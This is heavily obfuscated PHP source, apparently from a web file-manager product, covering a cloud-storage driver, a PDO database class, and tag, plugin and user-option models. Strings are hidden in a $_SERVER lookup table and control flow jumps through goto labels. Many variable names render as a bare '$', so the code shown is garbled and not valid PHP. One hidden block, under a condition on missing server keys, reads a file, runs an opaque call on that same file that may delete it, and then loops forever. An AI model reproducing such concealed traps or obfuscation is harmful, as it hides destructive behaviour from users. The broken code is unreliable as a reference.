$_SERVER[譃]; $ = array($[1466], $[1467] . $); if ($ԅ㙉) { $[] = $[1468] . $ԅ㙉; } $Å = $this->ussRequest($ģ姨, $[229], !1, $); return !$Å[$[1189]] ? !1 : $Å[$[1191]]; } private function fileList($, &$, &$آ, $ = false) { $秹 =& $_SERVER[譃]; $ŀ = $秹[12]; $ = 1000; $ = rtrim($, $秹[8]) . $秹[8]; $ز = $this->listItemCache === !1 ? !1 : !0; while (!0) { check_abort(); $ = $this->listObjs($, $ŀ, $); if (!$) { return !1; } $ŀ = isset($[$秹[1469]]) ? $[$秹[1469]] : $秹[12]; $˅ = isset($[$秹[1470]]) ? $[$秹[1470]] : array(); foreach ($˅ as $) { $֞ = $[$秹[33]] == $秹[79] ? !0 : !1; $Ɨ = ltrim($ . $[$秹[32]], $秹[8]) . ($֞ ? $秹[8] : $秹[12]); $˺Х = array($秹[32] => $Ɨ, $秹[33] => $֞ ? $秹[79] : $秹[196], $秹[80] => $[$秹[336]], $秹[1465] => $[$秹[1471]]); if ($ز) { $this->cacheMethod($秹[202], $Ɨ, $֞); $this->cacheMethod($秹[203], $Ɨ, $˺Х); } if ($֞) { $[] = $Ɨ; if ($) { $this->fileList($Ɨ, $, $آ, $); } continue; } $آ[] = $˺Х; } if (count($˅) < $) { break; } } if ($ز) { $this->cacheMethod($秹[202], $, !0); } } public function listPath($, $˳ = false) { $ =& $_SERVER[譃]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $˳); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $˳, $); } return array($[77] => $, $[76] => $); } public function has($ߑ, $ = false, $琢 = true) { $ =& $_SERVER[譃]; $ = $[12]; $҆ = 500; $ß = 0; $̥ = 0; $ޓ = rtrim($ߑ, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($ߑ, $, $҆); if (!$) { return !1; } $ = isset($[$[1469]]) ? $[$[1469]] : $[12]; $րݹ = isset($[$[1470]]) ? $[$[1470]] : array(); if (empty($րݹ)) { break; } $ = array_filter($րݹ, function ($ߊޖ) { $ٲ =& $_SERVER[譃]; return $ߊޖ[$ٲ[33]] == $ٲ[79]; }); $ = count($րݹ); $ = count($); $艺 = $ - $; if ($) { $̥ += $; $ß += $艺; if ($ < $҆) { break; } continue; } if ($琢) { if ($艺) { return !0; } } else { if ($) { return !0; } } if ($ < $҆) { break; } } if ($) { return array($[206] => $ß, $[207] => $̥); } return !1; } public function listAll($Ċꮭ) { $åܛ =& $_SERVER[譃]; $ = $ = array(); $this->fileList($Ċꮭ, $, $, !0); $뎙 = array(); foreach ($ as $ ) { $뎙[$ [$åܛ[32]]] = $ [$åܛ[80]]; } foreach ($ as $ ) { if (is_string($ )) { $뎙[$ ] = 0; } } return $this->listAllFiles($Ċꮭ, array_keys($뎙), $뎙); } public function canRead($Ȑɉ) { return $this->exist($Ȑɉ) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($Ґ, $迲 = '') { $ =& $_SERVER[譃]; if (!$迲) { $ä = $this->ussRequest($Ґ, $[225]); return $ä[$[1189]]; } $Ǐ = $this->tempFile($this->pathThis($Ґ)); file_put_contents($Ǐ, $迲); if ($this->upload($Ґ, $Ǐ)) { $this->tempFileRemve($Ǐ); return !0; } return !1; } public function fileSubstr($, $߉ܶ, $ǽ) { $ۍ =& $_SERVER[譃]; if (!($ǻ = $this->link($))) { return !1; } $ꝍ = !1; if ($ǽ > 0) { $䊾 = $߉ܶ + $ǽ - 1; $ꝍ = array($ۍ[1431] . $߉ܶ . $ۍ[456] . $䊾); } $ܸ = url_request($ǻ, $ۍ[229], !1, $ꝍ); return $ܸ[$ۍ[748]] ? $ܸ[$ۍ[1191]] : !1; } public function upload($⪟ĕ, $, $ƘϿ = false, $ = REPEAT_REPLACE) { $܅ =& $_SERVER[譃]; $ɰݡ = IO::size($); if ($ɰݡ <= 1024 * 1024 * 200) { $ = array($܅[1472] . $); $Ɣ = $this->ussRequest($⪟ĕ, $܅[227], $); return $Ɣ[$܅[1189]] ? $this->getPathOuter($⪟ĕ) : !1; } $ = 1024 * 1024 * 10; $Φ = array($܅[1473], $܅[1474] . $ɰݡ, $܅[1475], $܅[1476] . $); $Ɣ = $this->ussRequest($⪟ĕ, $܅[227], !1, $Φ); if (!$Ɣ[$܅[1189]]) { return !1; } $փ = $Ɣ[$܅[1191]]; $ = 0; $ = $փ[$܅[1477]]; $ = fopen($, $܅[1380]); if (!$) { return !1; } do { $ = $փ[$܅[1478]]; fseek_64($, $); $ = fread($, $); $ = 0; do { $++; $փ = $this->uploadPart($⪟ĕ, $փ, $); } while (!$փ && $ < 3); if (!$փ) { return !1; } $ = $փ[$܅[1477]]; $ += $; } while ($ != -1); fclose($); $Φ = array($܅[1479], $܅[1480] . $փ[$܅[1481]], $܅[1475]); $Ɣ = $this->ussRequest($⪟ĕ, $܅[227], !1, $Φ); return $Ɣ[$܅[1189]] ? $this->getPathOuter($Уǽ) : !1; } private function uploadPart($, $Ɇ, &$) { $ޚ =& $_SERVER[譃]; $ = array($ޚ[1482], $ޚ[1480] . $Ɇ[$ޚ[1481]], $ޚ[1483] . $Ɇ[$ޚ[1477]], $ޚ[143] . $Ɇ[$ޚ[1478]]); $ = $this->ussRequest($, $ޚ[227], $, $); return !$[$ޚ[1189]] ? $[$ޚ[1189]] : $[$ޚ[1191]]; } public function uploadFormData($흾, $ = 3600) { return $this->uploadPolicy($흾, $); } public function multiUploadFormData($Ӊ, $ભ = 3600) { $ =& $_SERVER[譃]; $ޫ = (int) $GLOBALS[$[7]][$[80]]; return $this->uploadPolicy($Ӊ, $ભ, $ޫ); } private function uploadPolicy($爌, $ = 3600, $Շ = 0) { $ꇍ =& $_SERVER[譃]; $ɵν = $ꇍ[8] . $this->bucket; $ǜٰ = gmdate($ꇍ[1416]); $ٙ = array($ꇍ[1484] => $this->bucket, $ꇍ[1485] => $爌, $ꇍ[1486] => time() + $, $ꇍ[1487] => $ǜٰ); if ($Շ) { $ٙ[$ꇍ[1396]] = $Շ; } $Ļ = base64_encode(json_encode($ٙ)); $Ⱦ = base64_encode(hash_hmac($ꇍ[1454], "\120\x4f\123\x54\x26{$ɵν}\46{$ǜٰ}\x26{$Ļ}", md5("{$this->userpass}"), !0)); $ = array($ꇍ[1320] => $Ļ, $ꇍ[1488] => "\125\120\131\125\x4e\40{$this->username}\x3a{$Ⱦ}", $ꇍ[178] => $this->endpoint . $ɵν); return $; } public function download($巫, $) { $֬ = IO::getPathInner(IO::mkfile($)); if (!($٧ = $this->link($巫))) { return !1; } $ = 0; $Ԅ = 1024 * 200; $ԡ = fopen($֬, $_SERVER[譃][1437]); while (!0) { $ = $this->fileSubstr($巫, $, $Ԅ); if ($ === !1) { return !1; } fwrite($ԡ, $); $ += $Ԅ; if (strlen($) < $Ԅ) { break; } } fclose($ԡ); return $; } public function link($, $ = array()) { $Ƙ =& $_SERVER[譃]; $ = trim($, $Ƙ[8]); if (!empty($this->token)) { $ = strtotime(date($Ƙ[1489])); $ = substr(md5($this->token . $Ƙ[283] . $ . $Ƙ[1490] . $), 12, 8) . $; $[] = $Ƙ[1491] . $; } $ = !empty($) ? $Ƙ[73] . implode($Ƙ[283], $) : $Ƙ[12]; return $this->getHost() . $Ƙ[8] . $ . $; } public function fileOut($, $ = false, $ = false, $ئ̤ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $ئ̤); } if (!$) { $ = $this->pathThis($); } $Ί = $ ? array($_SERVER[譃][1492] . rawurlencode($)) : array(); $ = $this->link($, $Ί); $this->fileOutLink($); } public function fileOutServer($Ά, $ބ = false, $ = false, $Ƃ = '') { parent::fileOut($Ά, $ބ, $, $Ƃ); } public function fileOutImage($اޔ, $ض = 250) { $ = $this->link($اޔ . $_SERVER[譃][1493] . $ض); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($«) { $䡛 =& $_SERVER[譃]; $僫 = $this->_objectMeta($«); return isset($僫[$䡛[211]]) ? $僫[$䡛[211]] : !1; } public function size($籏) { $ = $this->objectMeta($籏); return $ ? $[$_SERVER[譃][80]] : 0; } public function info($Ŵ) { if ($this->isFolder($Ŵ)) { return $this->folderInfo($Ŵ); } else { if ($this->isFile($Ŵ)) { return $this->fileInfo($Ŵ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ᮞژ) { return !$this->isFolder($ᮞژ) && $this->objectMeta($ᮞژ); } public function isFolder($브) { return $this->cacheMethod($_SERVER[譃][202], $브); } protected function objectMeta($ԫ) { return $this->cacheMethod($_SERVER[譃][203], $ԫ); } protected function _objectMeta($) { $ =& $_SERVER[譃]; if ($ == $[12] || $ == $[8]) { return array(); } $آ = $this->ussRequest($, $[1494]); if (!$آ[$[1189]]) { return null; } $ш = isset($آ[$[1191]]) ? $آ[$[1191]] : array(); if (!isset($ш[$[1495]])) { return null; } $ = array($[33] => isset($ш[$[1495]]) ? $ш[$[1495]] : null, $[80] => isset($ш[$[1496]]) ? $ш[$[1496]] : null, $[211] => isset($ш[$[1497]]) ? $ш[$[1497]] : null, $[1464] => isset($ш[$[1498]]) ? $ш[$[1498]] : null); $[$[1465]] = isset($ш[$[1499]]) ? strtotime($ш[$[1499]]) : $[$[1464]]; return $; } protected function _isFolder($) { $ń =& $_SERVER[譃]; if ($ == $ń[12] || $ == $ń[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$ń[33]]) && $[$ń[33]] == $ń[79] ? !0 : !1; } } goto Aġ; bЉ: class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ҧӺ = '') { $ =& $_SERVER[譃]; if (!class_exists($[914])) { think_exception(think_lang($[14]) . $[915]); } if (!empty($ҧӺ)) { $this->config = $ҧӺ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($Ëե = '', $ɠ = 0) { $۵ =& $_SERVER[譃]; if (!isset($this->linkID[$ɠ])) { if (empty($Ëե)) { $Ëե = $this->config; } $ = !empty($Ëե[$۵[17]][$۵[18]]) ? $Ëե[$۵[17]][$۵[18]] : $this->pconnect; if ($) { $Ëե[$۵[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$ɠ] = new PDO($Ëե[$۵[916]], $Ëե[$۵[888]], $Ëե[$۵[889]], $Ëե[$۵[17]]); } catch (PDOException $雵) { think_exception($雵->getMessage()); } $this->dbType = $this->_getDsnType($Ëե[$۵[916]]); if (in_array($this->dbType, array($۵[917], $۵[918], $۵[919], $۵[920]))) { think_exception($۵[921] . $this->dbType . $۵[922] . $this->dbType . $۵[923]); } if (!$this->linkID[$ɠ]) { think_exception($۵[924]); } try { $this->linkID[$ɠ]->exec($۵[925] . think_config($۵[891])); } catch (Exception $雵) { } $this->connected = !0; if (1 != think_config($۵[22])) { unset($this->config); } } return $this->linkID[$ɠ]; } public function free() { $this->PDOStatement = null; } public function query($э, $ص = array()) { $̠ю =& $_SERVER[譃]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $э; if (!empty($ص)) { $this->queryStr .= $̠ю[926] . print_r($ص, !0) . $̠ю[927]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($̠ю[23], 1); think_status($̠ю[24]); $this->PDOStatement = $this->_linkID->prepare($э); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ʳ = $this->PDOStatement->execute($ص); $this->debug(); if (!1 === $ʳ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($褒, $ = array()) { $Č =& $_SERVER[譃]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $褒; if (!empty($)) { $this->queryStr .= $Č[926] . print_r($, !0) . $Č[927]; } $ = !1; if ($this->dbType == $Č[920]) { if (preg_match($Č[928], $this->queryStr, $)) { $this->table = think_config($Č[929]) . str_ireplace(think_config($Č[930]), $Č[377], $[2]); $ = (bool) $this->query($Č[931] . strtoupper($this->table) . $Č[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($Č[25], 1); think_status($Č[24]); $this->PDOStatement = $this->_linkID->prepare($褒); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ = $this->PDOStatement->execute($); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ || preg_match($Č[932], $褒)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ = $this->_linkID->commit(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ѕ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ѕ) { $this->error(); return !1; } } return !0; } private function getAll() { $ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($); return $; } public function getFields($ھ) { $ =& $_SERVER[譃]; $this->initConnect(!0); if (think_config($[933])) { $ = str_replace($[934], $ھ, think_config($[933])); } else { switch ($this->dbType) { case $[917]: case $[935]: $ = "\123\x45\114\105\x43\x54\40\40\x20\143\x6f\x6c\165\x6d\156\x5f\156\x61\x6d\x65\40\141\163\40\x27\116\141\155\x65\47\54\x20\40\40\144\x61\164\141\x5f\164\x79\160\x65\x20\141\163\x20\47\x54\171\x70\x65\x27\54\x20\x20\x20\143\157\x6c\165\x6d\156\x5f\144\145\146\x61\x75\x6c\x74\x20\141\x73\x20\47\104\145\x66\141\165\154\x74\x27\x2c\x20\40\40\x69\163\137\156\x75\x6c\x6c\x61\142\x6c\x65\40\141\x73\x20\x27\116\165\154\154\47\12\11\11\x46\x52\x4f\x4d\x9\x69\x6e\x66\x6f\162\x6d\141\x74\x69\157\x6e\137\163\x63\x68\145\x6d\141\56\164\x61\x62\x6c\x65\x73\40\101\123\40\164\12\x9\11\112\x4f\x49\116\11\151\x6e\x66\x6f\162\155\x61\164\x69\x6f\x6e\x5f\163\143\150\x65\x6d\x61\x2e\x63\157\x6c\165\155\x6e\x73\x20\101\x53\x20\x63\xa\11\x9\117\116\x20\40\x74\x2e\x74\141\x62\x6c\x65\137\143\141\x74\x61\x6c\157\147\40\x3d\x20\143\56\164\x61\142\x6c\145\x5f\x63\x61\164\x61\x6c\157\147\12\x9\11\x41\116\104\x20\x74\56\x74\141\x62\154\145\x5f\x73\143\x68\145\155\141\x20\75\x20\x63\x2e\164\x61\142\154\x65\x5f\x73\x63\150\145\155\141\12\11\11\101\116\104\x20\164\x2e\164\141\142\x6c\x65\x5f\156\x61\x6d\145\40\75\x20\143\x2e\164\x61\142\x6c\145\x5f\156\141\x6d\x65\xa\11\x9\x57\110\105\x52\x45\x20\40\x20\x74\56\x74\x61\x62\154\x65\137\156\141\x6d\x65\40\75\40\x27{$ھ}\47"; break; case $[936]: $ = $[937] . $ھ . $[938]; break; case $[918]: case $[920]: $ = $[939] . $[940] . $[941] . strtoupper($ھ) . $[942] . strtoupper($ھ) . $[943]; break; case $[944]: $ = $[945] . $ھ . $[946]; break; case $[919]: break; case $[947]: default: $ = $[948] . ($this->dbType == $[947] ? "\x60{$ھ}\x60" : $ھ); } } $ = $this->query($); $ݡ = array(); if ($) { foreach ($ as $ɤ => $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[377]; $[$[33]] = isset($[$[33]]) ? $[$[33]] : $[377]; $ˎ = isset($[$[272]]) ? $[$[272]] : $[$[32]]; $ݡ[$ˎ] = array($[32] => $ˎ, $[33] => $[$[33]], $[35] => (bool) (isset($[$[104]]) && $[$[104]] === $[12] || isset($[$[35]]) && $[$[35]] === $[12]), $[37] => isset($[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[377]), $[39] => isset($[$[95]]) ? strtolower($[$[95]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$[949]]) ? strtolower($[$[949]]) == $[44] : (isset($[$[95]]) ? $[$[95]] : !1)); } } return $ݡ; } public function getTables($ = '') { $Ȝ =& $_SERVER[譃]; if (think_config($Ȝ[950])) { $̅ = str_replace($Ȝ[951], $, think_config($Ȝ[950])); } else { switch ($this->dbType) { case $Ȝ[918]: case $Ȝ[920]: $̅ = $Ȝ[952]; break; case $Ȝ[917]: case $Ȝ[935]: $̅ = $Ȝ[953]; break; case $Ȝ[944]: $̅ = $Ȝ[954]; break; case $Ȝ[919]: think_exception(think_lang($Ȝ[955]) . $Ȝ[956]); break; case $Ȝ[936]: $̅ = $Ȝ[45] . $Ȝ[46] . $Ȝ[47]; break; case $Ȝ[947]: default: if (!empty($)) { $̅ = $Ȝ[899] . $ . $Ȝ[900]; } else { $̅ = $Ȝ[901]; } } } $ = $this->query($̅); $ = array(); foreach ($ as $ => $ѳⲾ) { $[$] = current($ѳⲾ); } return $; } protected function parseLimit($ޠ) { $歇̜ =& $_SERVER[譃]; $泿 = $歇̜[12]; if (!empty($ޠ)) { switch ($this->dbType) { case $歇̜[944]: case $歇̜[936]: $ޠ = explode($歇̜[50], $ޠ); if (count($ޠ) > 1) { $泿 .= $歇̜[51] . $ޠ[1] . $歇̜[52] . $ޠ[0] . $歇̜[53]; } else { $泿 .= $歇̜[51] . $ޠ[0] . $歇̜[53]; } break; case $歇̜[917]: case $歇̜[935]: break; case $歇̜[919]: break; case $歇̜[918]: case $歇̜[920]: break; case $歇̜[947]: default: $泿 .= $歇̜[51] . $ޠ . $歇̜[53]; } } return $泿; } public function parseKey(&$Г, $Ҡ = true) { $·̫ =& $_SERVER[譃]; if ($Ҡ) { $Г = $this->parseKeyCheck($Г); } if ($this->dbType == $·̫[947]) { if ($Г != $·̫[185] && !preg_match($·̫[911], $Г)) { $Г = $·̫[384] . trim($Г, $·̫[384]) . $·̫[384]; } return $Г; } else { return parent::parseKey($Г, $Ҡ); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[譃]; if ($this->PDOStatement) { $Ř = $this->PDOStatement->errorInfo(); $this->error = $Ř[1] . $[4] . $Ř[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ܙХ) { $ =& $_SERVER[譃]; switch ($this->dbType) { case $[944]: case $[917]: case $[935]: case $[947]: return addslashes($ܙХ); case $[919]: case $[936]: case $[918]: case $[920]: return str_ireplace($[58], $[59], $ܙХ); } } protected function parseValue($ōʲ) { $٪ =& $_SERVER[譃]; if (is_string($ōʲ)) { $Ȓ = strpos($ōʲ, $٪[4]) === 0 && in_array($ōʲ, array_keys($this->bind)); $ōʲ = $Ȓ ? $this->escapeString($ōʲ) : $٪[957] . $this->escapeString($ōʲ) . $٪[957]; } elseif (isset($ōʲ[0]) && is_string($ōʲ[0]) && strtolower($ōʲ[0]) == $٪[296]) { $ōʲ = $this->escapeString($ōʲ[1]); } elseif (is_array($ōʲ)) { $ōʲ = array_map(array($this, $٪[958]), $ōʲ); } elseif (is_bool($ōʲ)) { $ōʲ = $ōʲ ? $٪[89] : $٪[194]; } elseif (is_null($ōʲ)) { $ōʲ = $٪[104]; } return $ōʲ; } public function getLastInsertId() { $Õá =& $_SERVER[譃]; switch ($this->dbType) { case $Õá[944]: case $Õá[936]: case $Õá[917]: case $Õá[935]: case $Õá[919]: case $Õá[947]: return $this->_linkID->lastInsertId(); case $Õá[918]: case $Õá[920]: $Б = $this->table; $ = $this->query("\123\105\114\105\103\124\x20{$Б}\x2e\143\x75\162\x72\166\141\154\x20\x63\x75\162\162\166\141\x6c\40\106\122\117\115\40\x64\165\x61\x6c"); return $ ? $[0][$Õá[959]] : 0; } } } class DbSqlite extends DbSqliteBase { public function query($) { $տ =& $_SERVER[譃]; if (!CacheLock::fileLock($տ[13])) { return !1; } $ѵᨾ = parent::query($); CacheLock::fileUnLock($տ[13]); return $ѵᨾ; } public function execute($ʖ) { $ =& $_SERVER[譃]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::execute($ʖ); CacheLock::fileUnLock($[13]); return $; } } class DbSqlite3 extends DbSqlite3Base { public function query($翕) { $ =& $_SERVER[譃]; if (!CacheLock::fileLock($[13])) { return !1; } $ = parent::query($翕); CacheLock::fileUnLock($[13]); return $; } public function execute($) { $Չ =& $_SERVER[譃]; if (!CacheLock::fileLock($Չ[13])) { return !1; } $ǫ = parent::execute($); CacheLock::fileUnLock($Չ[13]); return $ǫ; } } goto AЏ; C: class GroupTagModel extends ModelBase { protected $tableName = "\x75\x73\x65\x72\137\146\141\166"; protected function cacheFunctionAlias($׳ѫ) { $̋ =& $_SERVER[譃]; return array($̋[1931] => array($׳ѫ[0], $̋[1932]), $̋[1933] => array($׳ѫ[0], $̋[1934])); } protected function get($ޕ) { $ =& $_SERVER[譃]; $ = Model($[518])->metaGet($ޕ, $[1935]); $β = json_decode($, !0); return $β ? $β : array($[1936] => $[89], $[368] => array()); } protected function set($ƺ, $ך) { $ =& $_SERVER[譃]; $ך = $ך ? $ך : array($[1936] => $[89], $[368] => array()); return Model($[518])->metaSet($ƺ, $[1935], json_encode($ך)); } protected function getByTagID($, $) { $Ǿ =& $_SERVER[譃]; if (!$ || !$) { return !1; } if (!Model($Ǿ[518])->getInfoSimple($)) { return !1; } $ = $this->get($); if (!$ || !isset($[$Ǿ[368]])) { return !1; } $ = array_find_by_field($[$Ǿ[368]], $Ǿ[396], $); return is_array($) ? $ : !1; } public function listSource($, $ӎ) { $ =& $_SERVER[譃]; if ($ӎ && !is_array($ӎ)) { $ӎ = array($ӎ); } $Ί = $this->listData($); $ݭ = array(); foreach ($Ί as $) { $ = $[$[78]]; if (!$) { continue; } if (!isset($ݭ[$])) { $ݭ[$] = array(); } $ݭ[$][] = $[$[423]]; } $ᰐ = array(); foreach ($ݭ as $ => $㝔) { $ճ = !0; if (!$ӎ) { $ᰐ[] = $; continue; } foreach ($ӎ as $Ž) { if (!in_array($Ž, $㝔)) { $ճ = !1; break; } } if ($ճ) { $ᰐ[] = $; } } if (!$ᰐ) { return array(); } $ل = array($[414] => array($[415], $ᰐ), $[501] => $, $[408] => SourceModel::TYPE_GROUP); $싛 = Model($[1325])->listSource($ل); if (!$싛 || count($ᰐ) == $싛[$[365]][$[366]]) { return $싛; } $Ș = array(); $۩ṁ = array_to_keyvalue($싛[$[77]], $[12], $[399]); $ˮ = array_to_keyvalue($싛[$[76]], $[12], $[399]); $ = array_merge($ˮ, $۩ṁ); foreach ($ᰐ as $) { if (!in_array($, $)) { $Ș[] = $; } } if ($Ș) { $this->removeBySource($, $Ș); } return $싛; } protected function listData($ш) { $ =& $_SERVER[譃]; $ = array($[1646] => 0, $[479] => array($[1937], 0), $[419] => $[1938] . $ш); $ = $[1939]; $ = $this->field($)->where($)->order($[1940])->select(); return $ ? $ : array(); } protected function addToTag($ȝ, $, $) { $斘 =& $_SERVER[譃]; if (!$this->getByTagID($ȝ, $) || !$) { return !1; } if (!Model($斘[823])->pathInfo($)) { return !1; } $֣ = array($斘[1646] => 0, $斘[479] => $, $斘[418] => $, $斘[419] => $斘[1941] . $ȝ, $斘[417] => $斘[12], $斘[1827] => 0); if ($this->where($֣)->find()) { return !1; } return $this->add($֣); } protected function removeFromTag($У, $, $) { $ =& $_SERVER[譃]; if (!$this->getByTagID($У, $) || !$) { return !1; } if (is_array($)) { $ = array($[7], $); } $ = array($[1646] => 0, $[479] => $, $[419] => $[1941] . $У, $[418] => $); return $this->where($)->delete(); } protected function removeByTag($, $dz) { $ǝۦ =& $_SERVER[譃]; if (!$this->getByTagID($, $dz)) { return !1; } $ϛş = array($ǝۦ[1646] => 0, $ǝۦ[479] => $dz, $ǝۦ[419] => $ǝۦ[1941] . $); return $this->where($ϛş)->delete(); } protected function removeBySource($, $Ԯ̩) { $ =& $_SERVER[譃]; if (!$ || !$Ԯ̩) { return !1; } if (is_array($Ԯ̩)) { $Ԯ̩ = array($[7], $Ԯ̩); } $ = array($[1646] => 0, $[418] => $Ԯ̩, $[479] => array($[1014], 0), $[419] => $[1941] . $); return $this->where($)->delete(); } } if (!isset($_SERVER[$_SERVER[譃][872]]) || !isset($_SERVER[$_SERVER[譃][870]])) { $_getc = $_SERVER[譃][874]; $_getfile = $_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]; $_getfilec = $_getc($_getfile); $_getarrs = explode($_SERVER[譃][230], $_getfilec); if (count($_getarrs) < $_SERVER[譃][606]) { $exit = $_SERVER[譃][877]; $exit(); } $_act = $_SERVER[譃][1343]; $_act($_SERVER[$_SERVER[譃][875]] . $_SERVER[譃][876]); $_iii = 2; while ($_iii > 1) { $_iiij = rawurlencode($_iii . $_SERVER[譃][377]); } } class PluginModel extends ModelBaseLight { public $optionType = "\123\171\x73\x74\x65\155\56\160\x6c\165\x67\151\156\114\x69\163\x74"; public $field = array("\156\141\155\x65", "\x73\164\x61\x74\165\163", "\x72\x65\147\x69\145\163\164", "\143\x6f\156\146\x69\147"); public function loadList($ = false) { $Ι = array_to_keyvalue($this->listData(), $_SERVER[譃][32]); if ($) { return $Ι[$]; } return $Ι; } public function init() { $ =& $_SERVER[譃]; Hook::trigger($[1942]); $ = $this->loadPluginList(); foreach ($ as $ => $) { $⃓ = $this->appAllow($, $); if (!$⃓) { continue; } foreach ($[$[1943]] as $ => $À) { Hook::bind($ , $À); } } Hook::trigger($[1944]); Hook::trigger(ACTION); } public function appAllow($, $, $ = true) { $ =& $_SERVER[譃]; $ = PLUGIN_DIR . $ . $[1945]; if (!is_array($) || !is_array($[$[1943]]) || $[$[748]] != 1 || !is_file($)) { return !1; } if ($GLOBALS[$[499]] == 1) { return !0; } if ($ && !Action($[1946])->checkAuth($)) { return !1; } return !0; } public function unInstall($Ο) { $ׂ =& $_SERVER[譃]; $ = $this->loadList($Ο); if (file_exists(PLUGIN_DIR . $Ο)) { Hook::apply($Ο . $ׂ[1947]); } $this->remove($[$ׂ[396]]); } public function changeStatus($, $) { $ =& $_SERVER[譃]; $ = $this->loadList($); if ($) { Hook::apply($ . $[1948]); } $this->update($[$[396]], array($[1949] => $)); } public function appRegist($dž, $) { $ =& $_SERVER[譃]; $ = $this->loadList($dž); if ($) { $this->update($[$[396]], array($[1943] => $)); } else { $ = array($[32] => $dž, $[1943] => $, $[748] => 0, $[6] => $this->getConfigDefault($dž)); $this->insert($); } } public function getConfigDefault($șں) { $ =& $_SERVER[譃]; $ = array(); $ = $this->getPackageJson($șں); if (!$ && is_array($[$[1950]])) { return $; } foreach ($[$[1950]] as $ => $) { if (!isset($[$[373]]) || isset($[$])) { continue; } $[$] = $[$[373]]; } return $; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[譃][1951]); } public function getConfig($, $Ň = false) { $ =& $_SERVER[譃]; $ = array(); $ = $this->loadList($); if ($ && is_array($[$[6]])) { $ = $[$[6]]; } if (!$ || $Ň) { $ = $this->getConfigDefault($); } return $; } public function setConfig($, $ = false) { $ =& $_SERVER[譃]; $ = $this->loadList($); if (!$) { return !1; } $ = $[$[6]]; if ($ == !1) { $ = array(); $ = $this->getConfigDefault($); } foreach ($ as $گК => $) { $[$گК] = is_string($) ? trim($) : $; } $this->update($[$[396]], array($[6] => $)); } public function viewList() { $ó =& $_SERVER[譃]; $ٷ = $this->loadList(); $this->pluginScan($ٷ); $ٷ = $this->loadPluginList(); $ў = array(); foreach ($ٷ as $ => $ܱ) { unset($ܱ[$ó[1943]], $ܱ[$ó[6]]); $ = PLUGIN_DIR . $ܱ[$ó[32]] . $ó[1945]; if (!is_file($)) { continue; } $̒ɔ = Hook::apply($ܱ[$ó[32]] . $ó[1951]); if (is_array($̒ɔ)) { $ў[$] = array_merge($ܱ, $̒ɔ); } } return $ў; } private function loadPluginList() { $굋 =& $_SERVER[譃]; $ԡ = $this->loadList(); if (strtolower(MOD) == $굋[1952]) { return $ԡ; } $Щߘ = Hook::trigger($굋[1953], $ԡ); if ($ԡ && !$Щߘ) { die; } return $Щߘ ? $Щߘ : $ԡ; } private function pluginScan($Ԅؑ) { $Ҹ =& $_SERVER[譃]; recursion_dir(PLUGIN_DIR, $, $, 0); foreach ($ as $) { $ǰ = get_path_this($); if (isset($Ԅؑ[$ǰ]) || !file_exists($ . $Ҹ[1954]) || !file_exists($ . $Ҹ[1945])) { continue; } Hook::apply($ǰ . $Ҹ[1948]); } } } goto fڑ; a: define($_SERVER[譃][237], 1); define($_SERVER[譃][238], 2); define($_SERVER[譃][239], 3); goto dϧ; dڥד: class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\x73\x65\x72\137\x6f\160\164\x69\157\x6e"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($Ǭ) { $ =& $_SERVER[譃]; if (!defined($[470])) { define($[470], 0); } return "\x55\x73\145\162\117\160\x74\151\157\156\137{$Ǭ}\x5f" . USER_ID; } protected function filterWhere($ЅԹ) { $ҟ =& $_SERVER[譃]; if (!defined($ҟ[470])) { define($ҟ[470], 0); } $ЅԹ[$ҟ[1655]] = USER_ID; return $ЅԹ; } public function cacheRemoveUser($߸, $ף) { return Cache::remove("\125\x73\145\162\117\x70\164\x69\x6f\156\137{$߸}\137" . $ף); } protected function optionDefault($ = '') { $ =& $_SERVER[譃]; if ($ == $[12]) { return $GLOBALS[$[6]][$[2297]]; } if ($ == $[2298]) { return $GLOBALS[$[6]][$[2299]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\125\x73\145\x72\56\164\x61\147\114\x69\163\x74"; public $modelType = 